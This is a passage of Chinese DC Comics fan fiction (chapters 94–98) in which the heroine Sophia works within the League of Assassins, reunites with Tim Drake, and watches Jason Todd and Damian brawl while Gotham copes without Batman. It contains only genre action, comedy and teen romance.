而索菲亚移开视线，再次张嘴就是和对面眼观鼻鼻观心的刺客们讨论起了这次出行有关探查刺客联盟分部的工作，有关那些分部啊，刺客啊，叛徒啊，墙头草啊有关的势力划分索菲亚其实一个字都没听明白，大脑思考片刻后得出了结论。 总之看到这帮人不能好好说话的家伙都杀了就行。 等等，好像之前答应了蝙蝠侠不能随便杀人。 那就打断了手脚沉湖好了，反正蝙蝠侠不知道，等他回来问起来就说是那些刺客干的，索菲亚那会正在拉肚子没来得及阻止。 就算是蝙蝠侠也不能强求一个吃坏了肚子的猎魔人穿上裤子去和五大三粗的刺客大战三百回合。 再说了，怎么能算杀人呢？那些家伙在索菲亚的视线里最多只能算骨折，至于为什么最后还是死掉了，索菲亚认为这应该是对方还没来得及进化出用肺在水下呼吸的功能。 严格意义上来讲，这把达尔文全责。 第95章 和一面包车刺客打架, 消灭证据，回刺客联盟上交任务，领更多任务, 继续和更多面包人打架，再销毁更多任务，再回到刺客联盟…… 一周的时间索菲亚和不同流派不同人种不同地区的面包, 哦不刺客进行了战斗技巧上的深刻交流, 从花园打到房内，从客厅打到厨房，偶尔还会在当地据点的浴室里随机选择幸运儿的脑袋在镜子和陶瓷洗手台两个位置进行撞击活动。 和塔利亚说的情报大差不差，明确投靠于妮莎手下的四个据点像是什么游戏里会无限刷怪怪物巢穴一样, 源源不断地派出各类刺客来阻挠索菲亚所在的这支小队, 好在六个分部的忠诚度还没有低到纷纷倒戈的地步, 至少有两个是坚定的保皇派，暂时没有自立为王的打算。 最初处理这些乱七八糟的琐碎问题的时候索菲亚还会因为刺客联盟因为这次突如其来的意外导致的混乱的情报和信息头疼，甚至出现了大家辛辛苦苦跑过去发现据点空无一人以为中计, 结果据点只是搬离了原先的位置而联盟内部的信息并没有同步这条重要信息。 这件事的无语程度到了, 在回程的飞机上一向沉默寡言的小队里遍布了各种语言的脏话, 就连脑子依旧没那么灵活的杰森都捂着脑袋骂了十分钟才停下。 交付任务的时候，塔利亚对此只说是这些问题不会再出现。 果然过了没多久这些问题就都消失了, 负责和这只小队联系的接头人非常靠谱, 不管是情报的更新还是任务的安排都非常的周密, 高兴的索菲亚领着杰森跑去快餐店吃了四个全家桶。 如今这两个分部已经重新和刺客联盟建立了联系, 混乱时期囤积的情报也在同步进行更新，趁着难得的空档期, 索菲亚终于回到了联盟内部。 刺客联盟自我恢复的速度极快, 索菲亚半个月没来, 这个遭受过创伤的组织很快就恢复到过去被条条框框的秩序所束缚的状态，基地里来来往往的都是些在推特上会被人聊爆私信的覆面系强壮刺客，而在少女不到一个身位的位置，同样覆面系的杰森正低着头跟在索菲亚身后。 最近青年的记忆恢复了不少，在不需要打架的空闲时间，杰森总会在发呆的时候从嘴里突然蹦出几个索菲亚熟悉的单词，像是Bruce，Batman，Robin。 没有完整死亡经验的索菲亚不知道该怎么应对这种因为被神秘力量复活后脑子混乱的情况，只能在杰森嘴里的单词念到“Joker”的时候，赶在对方因为PTSD开始无差别攻击前，就控住对方的动作，这一套动作的激烈程度不亚于企图驯服一头饿了一个冬天的棕熊。 再过了几天，筋疲力尽的索非亚索性把随身携带的食物往杰森嘴里塞，在对方回忆起噩梦前就用食欲来压制对方严重的精神问题，好在这头青春期的小棕熊对于食物的渴求足够强烈，让索菲亚转移他注意力的计划能够成功实施。 归来半生，大家都是饭桶。 作为叛徒牧首手下的前叛徒学生，索菲亚在刺客联盟除了杰森和达米安外几乎没有其他认识的熟人，塔利亚的话比起朋友更像是一手交钱一手交货的甲方，每次在女人格外锐利的眼神下，索菲亚总会不自觉开始紧张。 上一个会让索菲亚紧张的人还是目前临时退出生物圈的前蝙蝠侠布鲁斯，好在离开哥谭之前索菲亚确认自己把手里的报告已经全都处理完了，不然等到布鲁斯打赢复活赛的那天，索菲亚这辈子才是真的有了。 不过说起DDL，索菲亚总觉得自己是不是忘了什么。 看着还在走廊里飞速穿梭的刺猬头小孩达米安，索菲亚这才想起来，哥谭中学是不是开学了。 问题不大，美国人那么松弛，gap一年不是什么大问题，就像是大家所选择的放松心灵，打工养家的理由一样，肯定会有莫名其妙撞破了邪恶组织的交易现场所以被一发闷棍打晕灌下药物后，身体变成小孩头脑却依然清醒，从而开始和邪恶对抗的同学也是很正常的对吧。 这次和塔利亚交谈的时间还不到两分钟，索菲亚就被通知要去见另一个人，之前因为丧钟和牧首双重背刺而负伤的拉尔斯，看来半个月的时间让这个很难杀的男人再次恢复到了满血状态，而这个时间卡的很刁钻的会面，很难说不是一场随时会发难随后冲出二十个刀斧手将索菲亚砍成肉泥的鸿门宴。 笑死，根本没那么完整。 塔利亚临走前带走了杰森，而杰森套在黑色紧身上衣的外套口袋里还装走了索菲亚最后一条带坚果的巧克力棒，而在两人离开后，那个熟悉的刺刺的脑袋很快也跟了上去。 那双比起杰森要圆润一样小动物一样的绿眼睛看过来了一瞬，很快就收回了视线，索菲亚只能深吸一口气做好了面见拉尔斯的准备。 “许久不见。” 索菲亚低下头做好了随时暴起准备跑路的打算，这间会客室算不上安静，但也比嘈杂的室外好上了许多，除去意料之中两个人的呼吸外，索菲亚听到了属于另一个人呼吸声，以及键盘被飞速敲击发出的响声。 “猎魔人，很高兴能够得到你的忠诚，虽然这份忠诚的期限似乎快到头了。” “但至少我现在还忠诚于你，忠诚于刺客联盟就够了不是吗，阁下？” 索菲亚绷紧了身体，耳朵里不断捕捉着有关对面两人生理活动下的微小声响。 “我早就猜到了牧首的野心，也知道一心渴求琥珀金来延续生命的猫头鹰并不可信，只是我没想到你会再次背叛牧首。” “我想是个人也没办法对杀了自己母亲的仇人能献上怎样的忠诚吧，虽然说我和我生母的关系算不上亲近，但也比喜怒无常的猫头鹰强上不少不是吗？再说了，现在蝙蝠侠已经死了，我除了您没有其他的选择了不是吗？” “你已经认定了蝙蝠侠的死亡？”坐在高处的忍者大师笑了出来，随后对着阴影处的第三个人招了招手“你看看吧侦探，就连蝙蝠侠的另一位门徒也认定了他的死亡，你还要坚持下去吗？” 熟悉的称呼让索菲亚心头一震，而那个呼吸声同样停顿了片刻，随后索菲亚再熟悉不过的少年音在这个空间里响了起来。 “我想我们关于这个问题已经达成了共识不是吗，拉尔斯阁下？我不认同蝙蝠侠的死亡，而您同样不愿意接受一位英雄以这样荒诞的方式死去，到目前为止我以为我已经展现出了自己的价值。” “当然，你令我刮目相看，红罗宾。” 那个声音几句话就把话题引到了那边，索菲亚抬起头果然看到了少年熟悉的身影，他比之前更高了些，也更消瘦了些，比起不久前萦绕在索菲亚耳边的缱绻的情话，少年此刻的声音冷淡了许多。 “我记得猎魔人曾经是你的情人？” “只是误传罢了。”索菲亚率先出声打断上位者的询问，来自那双笑意难以抵达眼底的眼睛审视的眼神投了过来，只是很快就移开了视线。 “是啊，只是误传。” 除去这些没有营养的询问，接下来就是关于近期任务的问题，回答这些索菲亚亲自去过且写了多份报告的问题不算难事，就算闭着眼睛也不至于出什么大错，直到这场汇报的结尾索菲亚也没等到被隐藏在各个角落里的刀斧手砍成肉馅做汉堡肉或者饺子的情况出现，在拉尔斯示意可以离开后，索菲亚终于如释重负离开了现场。 这间会客室内拉尔斯和提姆之间谈话的时间则长了不久，索菲亚在走廊蹲了很久看到拉尔斯离开后，便斜靠在一个不会被第一眼看到，但是能够将会客室门口尽收眼底的拐角处开始了等待。 走廊里那些或许覆面或许不覆面的刺客来来回回个不停，几乎没人会向索菲亚投来视线，杰森那边结束了训练也来了一次，虽然不知道在干什么也跟着索菲亚等了十分钟，等到被塔利亚叫走准备其他任务的时候，青年给索菲亚外套口袋里塞上了满满一把不知道从哪里顺来的去了壳的干果。 索菲亚干脆一边吃干果一边等，等到干果吃没了一半的时候，达米安也过来看了两眼，随后掏出了更多的干果把索菲亚两个口袋都塞得鼓鼓囊囊的，随后也离开了。 等到第二轮干果也被吃完了一半的时候，索菲亚终于如愿等到了那只终于想起来离开的小红鸟。 提姆的脸上满是疲惫，眼下的黑眼圈不比在哥谭每天只保持三四个小时睡眠的时候好上多少，那双蓝眼睛眼白的部分已经出现了一点红血色，即便如此少年的身体仍然保持在高戒备的过激状态。 索菲亚有意将自己发出的声音降到最低，不着痕迹的闪到少年的视线盲区拉近了两人的距离，随后在少年突然驻足的时候一把抓着少年的手腕拽着对方撞进了最近的一个空房间内。 少年久久的注视着索菲亚的脸，嘴唇颤动了几下却什么都没说，双臂环抱在胸前展现出拒绝的姿态来，看的索菲亚一股无名火从心头燃起。 既然嘴留着不说话那就别说了。 少女微微踮起脚尖抓着少年额前的头发用了十足的手劲把提姆将自己的方向拉来，不管不顾的对着对方有些泛白的嘴唇啃了上去。 预想中的反抗姿态并没有出现，少年不过装模作样的抵抗了三秒，就自觉低下头张开了唇瓣，用舌头缠绕上索菲亚互相试探了起来。 或许是谁的牙齿磕到了嘴唇，或许是索菲亚咬到了少年柔软的舌尖，淡淡的血腥味在口腔中蔓延，随着液体的交换那股铁锈一样的味道都变得甘甜，没有人因为这些刺痛而提前结束这个吻，倒不如说这点血腥味将两个人拉下了更深的属于欲望的深渊。 那双隔在两人中间的手臂很快放了下去，顺着少女身体的弧度从肩头一路移动，将体温一路传递到腰间方才停止。 提姆方才一直平稳冷静的呼吸此时比哥谭突然下起的暴风雨还要杂乱，而索菲亚同样被身体里快速分泌的荷尔蒙所影响，彻底打乱了呼吸的频率。 “你刚刚说不认识我。”一只手轻轻放在索菲亚脑后，手指在发丝间穿过，将洗发水的味道一并带到了二人之间“你会和不认识的男人接吻吗猎魔人小姐？” “原本不会。”索菲亚舔了舔嘴唇这才松开手里少年的头发，在少年的脑袋上拍了拍“但你长得很可爱，所以我临时决定要亲你。” “那你还需要更多吻吗？我想我的技术很好，我的女朋友很喜欢这个。”那双眼睛微微眯起，索菲亚熟悉的笑容重新占据了这张年轻而活力的脸。 “当然。”索菲亚看着少年眼睛里倒映出的自己的影子随后闭上了双眼，继续在刺客联盟里这个说不上名字的黑暗房间里和爱人抱在一起继续了那个铁锈味的吻，直到世界尽头。 第96章 索菲亚不得不承认, 和小男朋友抱在一起亲嘴确实会让人心情好上不少，光是这段从墙壁到训练室地板再到坐垫的多场景亲嘴画面所消耗的热量，就赶的上和蝙蝠侠在蝙蝠洞高强度对练半个小时, 累计可消耗两个吮指原味鸡的热量。 结束最后一段法式湿吻的时候，索菲亚正面对着提姆坐在对方带有肉感的大腿上，双手还环抱着少年的脖子, 不怎么安分的手在这个时候还不忘记对着逐渐结实的后背上下摸了一遍看看提姆有没有在索菲亚不知道的时候受了些麻烦的伤。 “你怎么过来了？哥谭怎么样了？” “没事。” 提姆的嗓音带着沙哑, 在熟悉的人面前少年终于能暂时卸下心防将疲惫展现出来，索菲亚的手还抓着提姆身上那身来自刺客联盟提供的标准制服上，手指不自觉地揉搓着手下的布料。 “B的事怎么样了？” 见面的惊喜被忽略已久的问题所取代，索菲亚想暂时分开这个拥抱, 但是感受到背后少年不愿意放轻力度的手臂, 便干脆放弃了这个想法, 继续在这个拥抱里找了个舒适的姿势靠在了身后的躯体上。 “在蝙蝠洞里我找不到其他线索能证明他还活着，所以我就想到了来刺客联盟寻求帮助，拉尔斯同样抱有不相信蝙蝠侠已死的想法, 于是我们一拍即合。我帮他暂时管理刺客联盟的琐事, 而他提供来自世界各地的情报给我。” 提姆说的风轻云淡, 但索菲亚仅仅是想象这种作为外来人在毫无实权的情况下拿着鸡毛当令箭所带来的无助感，毕竟自己最近这段时间在有塔利亚明确支持的情况下, 还要随时做好和莫名其妙看人不顺眼的刺头刺客打架更何况是来的时间更短的提姆。 就算是此刻整个刺客联盟最有权势的未成年小皇帝达米安, 也是在光着屁股的年纪完成各种严苛训练以及击败自己的无数导师后才赢得了大家的尊重, 这么想想也难怪刺客联盟的总部在中东, 要是美国光是使用童工这一项罪名就足够拉尔斯倾家荡产。 “你现在有什么线索了吗？”索菲亚对着提姆的耳垂一股一股的吹气。 “有一些，但是还不够。”提姆摇头的幅度不算大, 正好避开了来自索菲亚的骚扰“刺客联盟的情报网受破坏严重, 之前的任务让委内瑞拉和埃及两个分部重新连上情报网, 但其他分部以及规模没那么大的基层情报网目前还没重新搭建完成，只依靠目前的情报的话有些麻烦。” “那你对刺客联盟内部的情况有了解吗？” “如果你想说达米安的话，我已经知道了。”少年重重的叹了口气把自己从成熟社畜的皮套里挣脱了出来，和女朋友和同桌一起错过开学的提姆放下了抱着索菲亚的手，无助的摸了摸自己的脸“布鲁斯就真的什么都不知道？他到底怀着怎样的心态来教育迪克和我关于安全教育的问题的，明明他才是那个一直保持不主动不拒绝的态度和女反派接吻的家伙。” “不要搞得跟你没有和女反派亲过嘴一样。”索菲亚伸出手指指向自己“我还在没从利爪毕业我们就已经亲过了不是吗？啧啧啧，好一脉相承的xp啊。” “这才一周我都不敢想象之后还能有什么惊喜在等着我。” 说罢提姆又重重的叹了口气，一头扎在了索菲亚怀里。 意识到提姆没察觉到杰森存在的索菲亚忍不住勾起了嘴角，想了想目前应该在和达米安打成一团的二代罗宾，索菲亚原先困到马上可以昏迷的脑子里一下子蹦出来的全是坏点子，毕竟老话说得好人在干坏事的时候永远不会嫌累。 “你最近可以在基地里走走，我保证还有惊喜。” “如果都是达米安这种惊喜我宁愿没有，不过他好像不知道自己的父亲是B。” “塔利亚说要等他击败了所有的导师证明了自己的能力的时候再跟他说B的事，他现在最多只是知道我认识他爸爸。”索菲亚摊手“看你那边的情况，达米安觉得你也认识他爸爸是吧，B现在像是什么限定款伏地魔，大家都认识他但不能说出他的名字，最多称呼他为那个男人。” “还有什么惊喜你一口气告诉我吧，就算跟我说塔利亚搞了个实验室弄了几十个达米安克隆体我也不是不能接受。” “这倒没有啦，现在还活着的克隆体只有二十个没那么多。”索菲亚挠了挠头“估计没过多久又要展开达米安大逃杀了，只有活着的有资格做达米安。” “我突然觉得每个罗宾毕业前和蝙蝠侠吵一架的传统也不算过分了，我虽然没来得及吵架，但斯蒂芬妮已经帮忙把我的那一份吵回来了。” 叹气声在训练室里响起的频率不算低，一会儿是因为刺客联盟目前比美国主妇用各种半成品做成的炖菜还复杂的现状，一会儿又想起来目前应该还健在但不知道跑到哪个不为人知的地方遛弯的蝙蝠侠，过了一会儿还有随时竞争上岗的达米安。 太棒了已经乱成一锅粥了，大家趁热喝了吧。 看了眼时间已经接近饭点，现在拉着提姆去食堂大概率还能吃点干巴卷饼配鹰嘴豆，索菲亚慢慢站了起来一边整理皱皱巴巴的制服一边伸手把提姆也拉了起来。 “事已至此先吃饭吧，你是不是一会还要处理情报。” 食堂依旧非常的空荡，本来刺客联盟的牛马都没有坐下好好吃饭的习惯，大多数人拿了食物就马不停蹄的去处理接下来的训练或者刺杀任务，而阿尔伯特带着猫头鹰跑路以后，这个食堂就彻底没了动静，目前除了自己索菲亚没想到还能在这里看到其他人。 那个红色的健壮的背影正背对着索菲亚，看样子应该在吃炖菜，手里还捏着叠好的卷饼蘸着汤汁往嘴里送，完全沉浸在吃饭的乐趣之中。 索菲亚端着炖菜和饼子回来的时候，提姆的注意力还停留在那位陌生的刺客身上，白人男性，身体强壮，身上除去战斗训练外体操训练的痕迹同样突出，并且对方关于呼吸的控制很有瑜伽的精髓，如果不是目前的情况前罗宾只会认为蝙蝠侠不知道什么时候收了新的徒弟。 至少根据提姆的观察来看，蝙蝠洞的几位义警都深受蝙蝠侠的影响，就连自认和蝙蝠侠没有那么亲近的索菲亚，也无师自通的学会了那套通过呼吸快速恢复体力的技能。 于是在接下来吃饭的时间里，提姆的注意力一直被不远处的刺客所吸引，但是不管是从体型还是长相，少年都很难从记忆库里找到能够对应的人。 几乎把卷饼快吃进鼻子的提姆有些过分少见，已经吃完了自己那份饭的索菲亚实在看不惯提姆这副魂不守舍的样子，在杰森即将离开的时候叫住了对方。 “杰森，过来一下我有事找你。” 青年愣了一下，但是没质疑索菲亚的话，而是端着需要处理的碗碟走了过来，坐在了索菲亚和提姆对面的座位上，露出那张英俊而硬朗的脸。 “你等到要等的人了吗？” “当然。”索菲亚在桌子下拍了拍提姆的大腿，颇为骄傲的抬起了头“这是提姆，我们感情很好，最近偷情非常愉快。” 杰森的表情呆滞了一下，随后眼神在两人身上快速扫视后，露出了郑重的表情。 “虽然不知道你们两个人谁是三，但我会祝福你们这份禁断的爱情的，爱情没有错。” “来认识一下，提姆这是杰森，你认识的。” 一向聪明的提姆配置超高的大脑终于停转了，过多的信息量快速的袭击了这位过分聪明的少年，毕竟就算把他的导师世界第一侦探蝙蝠侠看到自己被小丑迫害致死的儿子突然活了，也会露出迷茫的表情。 “罗宾？”少年从牙缝里挤出这个自己中了恐惧毒气都不敢想出来的答案，内心一直以来建立起的关于生命和死亡之间的联系在此刻悄悄地碎了。 也是，超人当年死了都可以复活，杰森为什么不可以，毕竟这个世界别说超能力，变种人，驱魔人，就连外星人都可以飞来飞去，大都会的天上每天都飘着红蓝配色的超人和超女，科学，科学算什么。 暂时没有展现出攻击性的杰森面对索菲亚过分禁忌的恋爱对象展现出了十足的平静，但是在看到提姆胸前熟悉的黑色标志时，青年才变了脸色。 “你和蝙蝠侠是什么关系？” 杰森的语气颇为不善，就连索菲亚都能闻到火药味，更别提一向敏感的提姆。 “我曾是他的罗宾。” 两双颜色不同的眼睛在空气中对上视线的片刻，索菲亚正在低头吃提姆没吃完的卷饼，随后便是来自杰森的咆哮。 “他怎么能，怎么能把更多孩子牵扯进来，小丑的教训还不够吗？哦对，他压根没有杀了小丑，即使小丑犯下那么多罪行，他还是坚持他的没用的不杀原则，放任那些畜生在哥谭里作恶。” “是我找到了他，是我要求要成为罗宾的。”提姆侧身躲过了杰森挥来的拳头“他不该走上犯罪的道路，只要越过那条线，他会从黑与白的边缘跌落。” “只是小丑，只有他也不行吗？我曾经想过如果有一天小丑杀了蝙蝠侠，我一定会抛弃一切，不管要付出怎样的代价，金钱，时间，牢狱之灾，就算是要我的生命我也一定会杀了小丑，因为他夺走了我的英雄，我的导师，我的父亲。” 索菲亚能看到来自拉撒路的绿色将那双眼睛变得浑浊，而在越来越激动的情绪影响下杰森如同打开了开关一样，第一次将那些负面情绪全都通过动作和语言宣泄了出来。 “可是他做了什么？蝙蝠侠放任那个杀了我的小丑还活在世界上，让他有机会用那条贱命去伤害更多无辜的人，更多像我一样还年轻的孩子，我相信任何罪犯都有改过自新的机会，只有小丑，他活在这个世界上就是一个错误，对于他最好的结局就是用枪对准他的脑袋一直扣动扳机，直到打光手里所有的弹壳。那个混蛋，那个杂种就该在大街上被打成一滩肉泥，每个哥谭人从他身上踩过去都只会吐口水来谩骂他，接着他就该被恶魔拉下地狱，灵魂在烈火里永恒的哀嚎。” 提姆再次躲过了杰森的动作，完全失去理智的青年即使无心杀人，但长期以来所接受的你死我活式的训练和厮杀，让杰森很难回到过去作为罗宾时的状态。 提姆无心和杰森战斗，动作以防御为主，即便如此肢体碰撞时所带来的麻痹感仍然让少年头皮发麻。 “没关系的杰森想开一点，反正蝙蝠侠已经死了。” 看着提姆快要招架不住杰森的攻势时，索菲亚刚好吃光手上最后一点食物出声打断了两人无意义的争斗。 “闭嘴索菲亚，不会说话别别说。”杰森的脊背弓了起来，索菲亚断定如果他现在变成一只毛茸茸的小动物，仅凭现在的应激反应就能大上一圈。 “但是提姆并不认为蝙蝠侠死了，即使我们都看到了视频，但我相信你也是这么想的不是吗？我知道你爱他，所以你才会如此的愤怒，甚至开始怨恨他，但他现在生死未卜，你的爱你的恨都没有了意义，比起和提姆在这里打架，找回布鲁斯比任何事都重要不是吗？” “抱歉亲爱的，我忘了告诉你，拉撒路有点副作用，大家泡过之后脾气都坏坏的，拉尔斯，杰森还有达米安，他们都是。” “我能理解。”提姆低声回答，眼神仍然停留在杰森紧绷的身体上。 而杰森拉下了兜帽挡住了脸转过了身体径直离开了这里，在青年即将离开前索菲亚耳边终于听到了他的回答。 “需要帮忙找我。” 第97章 索菲亚还是没能拦住两个活力旺盛的少年之间关于蝙蝠侠和罗宾的战斗。 唯一的好消息是提姆还记得一直忍到了训练室才和杰森扭打在一起, 一向矜持的少年被莫名其妙打急了眼，把从布鲁斯那里学来的格斗术全都用上了，索菲亚到场的时候一米七的三代罗宾正尝试用十字固让一米七五的二代罗宾失去意识。 索菲亚环顾四周, 很快就看到了正坐在一旁冷眼旁观的不到一米二的小刺猬达米安，男孩双手环胸，眼神里的傲慢如果能变成液体流出来可以让刺客联盟的周边环境从热带沙漠转化为热带雨林之中。 “陶德, 你没吃饭吗？” “德雷克, 蝙蝠侠就教了你这些东西？” 男孩不愧是刺客联盟的结晶，一张嘴全都是两个少年不爱听的话，看好了时机的杰森立即发力旋转身体由十字形转化为一字型后立马翻过身体解开了十字固的束缚，还不忘一边用语言反击说话显得尤为刻薄的达米安。 “不说话没人把你当哑巴, 恶魔崽子。” 提姆立刻拉开了和杰森的距离, 这位二代罗宾成长的速度惊人, 上次见面对方还是身高一米五的纤细少年，如今已经有了要向双开门冰箱发展的趋势，尤其在力量层面, 做不到力能扛鼎的少年只能暂时拉开二人的距离。 此时在少年的余光里, 索菲亚顺手关上了训练室的门, 手里还拿着两瓶不知道从哪里顺来的瓶装水，少女自己拧开了一瓶像头水牛一样“咕嘟咕嘟”几声就灌下去半瓶。 “怎么一直看着索菲亚, 哦提米——需要你的女朋友来给你报仇吗？” “你们打架不要带我。”索菲亚冲着几人挥了挥手随后找了个舒服的坐垫盘腿坐了下来继续看两人切磋“等会要去吃饭吗？今天有烤羊排吃。” “带我一个。”杰森喊道, 随即察觉到身后的杀意转过身接过了达米安的攻击, 两人对上的时刻, 提姆从战斗中抽身出来，蹭到了索菲亚身边。 索菲亚递过去另一瓶还没开封的水, 感受少年刚刚剧烈运动完热乎乎的身体, 就顺其自然的贴在了索菲亚后背上。 “进度怎么样？” “有一点, 但总比没有强。”提姆拧开瓶盖跟着“吨吨吨”的喝了起来，放在学校里有偶像包袱的德雷克都是简单喝上两口就会把水放下，表现出一种精英特有的不食人间烟火的感觉。 两个人坐到了观众席看着杰森和达米安两个蝙蝠侠的好大儿在这里过招，确实比自己去亲身参与进去要过瘾的多，也借着这个空档索菲亚聊起了有关阿尔伯特的事。 “塔利亚目前也在追杀阿尔伯特，但他就跟死了一样一点消息都没有，上次他也是玩的这招，结果就跑到哥谭来了，这次还想去哪？日式轻异世界吗？” “猫头鹰都一点消息没有吗？那你觉得他会去哪里？” 索菲亚摇了摇头，随后才迟疑的给出了一个自己都觉得不靠谱的答案。 “他曾经说过，猎魔人的药剂中琥珀金是最重要的成分，目前我知道的有琥珀金的组织除了刺客联盟就是猫头鹰法庭，但他当年就没看上法庭手里的劣质琥珀金，而刺客联盟这边的话他刚刚和拉尔斯闹掰。” “猫头鹰会死去吗？” “很难，但不是不会。”面对熟悉的问题索菲亚立马给出了答案“只要把猫头鹰破坏到琥珀金都没办法发挥作用的程度就好了，举个例子砍掉猫头鹰的脑袋猫头鹰不一定会死，但如果把猫头鹰砍掉脑袋后把尸体扔进绞肉机里，那基本不可能会复活了。” “以前的猫头鹰29号就是，被埋在沙子里只露出了脑袋，阿尔伯特让49号拿锤子一次次砸爆了29号的脑袋，直到这颗脑袋没有一点复活的迹象，就算这样他还没忘记再放把火把那颗头烧干净。” “照这么说，他应该很依赖琥珀金才对，除非他找到了足量的琥珀金，不然我想不到他要背叛的理由。” 提姆见气氛有些沉重便从索菲亚身后挪到了索菲亚身边，看着场上还在搏斗的两人抛出了新的话题。 “你不想知道我是怎么过来的吗？” “怎么过来的？蝙蝠侠给你留信息了吗？”索菲亚顺势抱住少年的手臂，脑袋也自然而然地靠在了对方的肩膀上。 提姆摇了摇头，但从少年放松的状态来看索菲亚觉得不是什么坏事。 “是系统。” 少年没有把之前和系统取得联系的通讯器带过来，但通过技术手段把那段简短的对话转移到手机上不算什么难题，和索菲亚的结论一样系统的延迟很久，即使是很简短的回答往往也需要间隔足够长的时间，并且这个回复的速度越来越慢。 “我知道你不属于这里索菲亚，但根据系统的情况我有个想法。首先两个世界都有琥珀金，并且这种物质都被人利用了起来，B的文件里有提到和我们现在的世界对应的平行世界大多也都有琥珀金的存在，我想或许是因为你的世界A和我的世界B或许曾经很非常紧密的联系。” “但随着某场意外的发生，这两个世界断开了联系，就像是互相失去吸引力的星球一样脱离了轨道，你看很多故事这两个世界都是互通的，世界A甚至有蝙蝠侠主题的漫画，也有和猫头鹰法庭类似的机构，这或许都是能证明这两个世界过去的联系。” “两个世界在分开时，琥珀金随机进行分配，至少从目前的情况来看世界A的琥珀金已经几乎消失殆尽，因此通过琥珀金来改造人类成为猫头鹰的牧首才会选择来到我们现在所在的世界B，以获取更多的琥珀金，而且看样子他选择带上了你。” “但是系统背后应该是我的监护人。”索菲亚提出了质疑。 “我唯一能够解释的只有，伊芙琳小姐通过魔法制造出系统并投放在你的身上来确保你的安全，但随着世界A和世界B距离越来越远，就像是出了信号范围就没信号只能变成板砖的通讯设备一样，又或许你可以理解为是两个拿着无线对讲机坐在两列往不同方向行驶的列车上的人，在没有网络的情况下信号就会越来越微弱，直到彻底失去信号。” 索菲亚沉默了半分钟，终于绕开脑子里那些足够杂乱的想法。 “那她有告诉你有关B的事吗？她很喜欢有关蝙蝠侠的漫画。” “她告诉我B还活着，这就够了。” 两个人对上眼神刚要开始进行黏糊糊的对视，索菲亚就看到了袭来的木刀，只好松开抓着提姆的手侧身闪开。 “你们不吃饭吗？”杰森已经停下了打斗，顺手把身高不占优势的达米安捂着嘴按在了地上“等会不用给恶魔崽子留，他喜欢吃草。” “是素食主义。”达米安那颗脑袋从杰森束缚里钻了出来，原先□□的发型像是路边被吹倒的草丛“陶德，你的见识之短让我很难相信蝙蝠侠的眼光。” 趁着两人之间的火药味愈演愈烈，索菲亚干脆拉上提姆的手从训练室闪了出去，防止被这起关于韦恩家荣誉和尊严的战斗的火星子蹦到身上引火上身。 —————————————— 哥谭此时正是一片水深火热。 新任罗宾斯蒂芬妮在蝙蝠洞摘下来用于隐藏身份的多米诺面具，金色的长发瀑布一样散落在肩上，平日里一向活泼好动和索菲亚一起被吐槽像是返祖的猴子一样的金发少女此刻正面对着自己的电脑开始处理学校的作业。 按照习惯来讲，帮蝙蝠侠完成部分情报工作算是蝙蝠洞入门必备工作，之前被迫毕业的提姆将这项工作几乎一手包办，但是在不久前少年提出要外出一段时间后，这份工作就顺理成章地落到了除了神谕以外，唯一的熟练工斯蒂芬妮头上。 毕竟卡珊再怎么学习飞速，也没办法在刚刚能够用文字表达需求的情况下，一跃成为情报处理大师，但少女身上高超的格斗技巧却也在哥谭的夜巡工作里发挥了极大的作用，每一个被卡珊打到失去意识的罪犯都会意识到新任蝙蝠侠的慈悲。 处理情报工作不算麻烦，在蝙蝠侠还在的时候斯蒂芬妮就从芭芭拉那里学到了很多，如果可以比起罗宾斯蒂芬妮更想从漂亮姐姐芭芭拉那里拿到蝙蝠女的衣钵。 只是非常不巧的是，斯蒂芬妮遇到了这个家里最容易焦虑的蝙蝠侠，于是连这份简单的情报工作都被男人一手包办，只留下斯蒂芬妮迷茫的处理学校这些一个小时就能处理完的简单作业。 迪克披上战衣后，我很好就成了他的口头禅，虽然但凡有眼睛的人都看得出来这位新任蝙蝠侠完全不好，甚至可以说是糟透了，但这位年轻的蝙蝠侠仍然执拗的模仿导师的一举一动，来塑造出对方没有离开的假象。 迪克已经将近一个月没有离开哥谭了，位于布港那份有着微薄薪水和超大工作量的警员工作一瞬间烟消云散，那些快乐和不知道哪里来的俏皮话和导师一起被埋进了六尺之下的墓穴之中，留下来的只有那个带着新手罗宾努力装出大人模样保护哥谭的新手蝙蝠侠。 直到今晚，小丑手下的小丑帮全副武装闯进了哥谭酒店的宴会厅，而接到GCPD信息的迪克很快便到达了现场。按照习惯，斯蒂芬妮会潜入现场控制电子设备，在蝙蝠侠进入会场和人搏斗的时候再加入其中，但这次面对斯蒂芬妮的提议，迪克几乎想都没想就拒绝了。 “留在这罗宾。”迪克一向温和的语气此刻比急冻人还要冷上几分“我能解决。” “我总不能放你一个人进去和二十多个小丑帮成员打架吧，我算什么观众席吗？” “你会受伤。” “你放屁，哪个义警没受过伤，你前几天背上的伤还没好——”斯蒂芬妮话没说完，就眼睁睁地看着蝙蝠侠扬长而去，只留下无助的罗宾气得直跺脚，最终无可奈何的拿出通讯器开始黑入酒店的监控系统。 等到斯蒂芬妮将最后一个被打到昏迷小丑帮成员捆好和蝙蝠侠一起离开的时候，GCPD的警车这时才响着警报出现在酒店的楼下，蹲在滴水兽上想好了关于先前被打断的话题如何和蝙蝠侠进行激情辩论的的斯蒂芬妮，第一眼就看到迪克身上就连面具都无法掩盖的疲惫和无助。 善解人意的罗宾默默的把那些难听的可以和布鲁斯吵十个回合的话咽了下去，内心却开始尖叫。 “救命，迪克看起来要碎了，谁来救一下啊！” 第98章 变故发生的很突然, 只不过在呼吸间提姆就知道了刺客联盟这个组织的不靠谱。 躲过眼前刺来的刀剑不算难事，但麻烦的便是潜藏在身后的另一位身形高大的刺客，那只快比得上少年大腿粗的胳膊死死勒住了提姆的脖子, 虽说提姆下意识用手臂挡了一下不至于让自己沦落到被扭断脖子的境地，即便如此那双被用于格挡的胳膊还是在被卡在对方胳膊和脖子中间，发出了清脆的骨头断裂的声音。 巨大的体型差和力量差使得大多数脱身技巧都显得无力, 提姆脑中一下子就浮现出蝙蝠侠无数次对付贝恩的画面, 只不过大多数时候无论是自己还是蝙蝠侠都做好了万全的准备，而不是像现在一样在毫无防备的情况下被这种大块头勒到窒息的边缘挣扎。 提姆用尽全力才用另一只空闲的手从腰带里摸出蝙蝠镖扎在了那只胳膊上，但这个不知名的陌生刺客像是完全感受不到疼痛一样仍然牢牢地将少年控制住，双手仍旧在发力。 直到提姆有意放弃挣扎伪装出一副被勒到窒息昏迷时, 那双手才微微放松, 也就在这时少年终于抓住了摆脱束缚的机会, 